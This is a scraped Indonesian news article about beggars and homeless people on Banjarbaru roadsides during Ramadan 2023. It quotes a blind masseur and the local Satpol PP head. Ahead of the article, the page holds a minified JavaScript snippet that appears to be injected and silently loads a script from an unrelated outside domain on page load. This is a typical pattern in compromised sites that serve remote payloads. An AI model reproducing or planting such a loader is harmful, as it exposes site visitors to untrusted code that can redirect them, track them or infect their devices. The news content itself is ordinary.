(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Sering Dirazia, Akhirnya Pengemis di Banjarbaru Minta Dibina


KANALKALIMANTAN.COM, BANJARBARU – Gelandangan dan pengemis (Gepeng) di Kota Banjarbaru terus menjamur di beberapa titik bahu jalan pada bulan Ramadhan 1444 Hijriyah.

Seperti di Jalan Nadjmi Adhani, sejak pukul 11.00 Wita Selasa (28/3/2023)sudah ada beberapa orang gepeng mangkal di sana.

Seperti Alan, penyandang disabilitas netra ini mengaku tidak hanya pada bulan puasa, namun dihari biasa juga mangkal di Jalan Nadjmi Adhani bersama beberapa temannya.

“Pindah kemana, ke (depan) PLN?,” ujarnya.

 

Baca juga: Pengemis Musiman Bulan Puasa di Banjarbaru, Masalah Lawas yang Tak Pernah Tuntas

Dirinya enggan disebut meminta-minta, karena menurutnya, sedang menunggu rezeki orang yang lewat.

“Kami tujuannya tidak meminta cuma menerima,” katanya pria juga berprofesi tukang pijat ini.

Diungkapkan Alan, jasa pijat yang dilakoni sekarang sedang sepi.

Ia berharap ada dukungan dari pemerintah guna mencukupi kebutuhan sehari-hari dan biaya sekolah anaknya.

Sementara itu, Kepala Satpol PP Banjarbaru, Hidayaturahman mengatakan sudah memberikan beberapa teguran kepada gepeng yang mangkal di Jalan Nadjmi Adhani karena dinilai mengganggu.

Penanganan gelandangan dan pengemis masih menjadi PR Pemko Banjarbaru. Foto: ibnu

“Sebenarnya sudah banyak solusi yang dilontarkan Pemko kepada mereka untuk dilakukan pembinaan, namun sebagian ada yang menolak,” ungkapnya.

Dibeberkannya, untuk penanganan gepeng ini terus dilakukan koordinasi dengan instansi terkait guna mendapatkan solusi yang lebih baik.

Baca juga: Kepergok ‘Begituan’ di Kamar, Lelaki 26 Tahun Dibekuk Satreskrim Polres Lamandau

“Nanti lewat Sekda yang memfasilitasi ke SKPD lain,” bebernya.

Pihaknya masih mengutamakan pendekatan persuasif terhadap gepeng di pinggiran jalan yang membuat pemandangan Kota Idaman terlihat kumuh.

“Kami ada toleransi juga masih, tidak terlalu keras,” tuntasnya.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Al Ghifari

Recent Posts

Perdana Auditorium ULM Banjarbaru Diisi Jemaah Sekumpul, Ikut Berdoa dari Jauh

KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More

3 jam ago

Satu Arah Mulai Pukul 7 Malam dari Banjarbaru hingga Km 17 Gambut

KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More

4 jam ago

Maulid Habsyi dan Tahlil Selesai Dibaca Pukul 20.15, Jemaah Sekumpul Berangsur Pulang

KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More

5 jam ago

Mulai Ampar Sajadah Sejak Pagi, Jalan Sekumpul Sudah Penuh Jemaah

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More

12 jam ago

Melihat Kerelawanan Warga Banjar Menyambut Tamu Jemaah Sekumpul

KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More

14 jam ago

Posko Sapta Marga Bersatu di Banjarbaru Ada Bengkel Gratis

KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More

15 jam ago

This website uses cookies.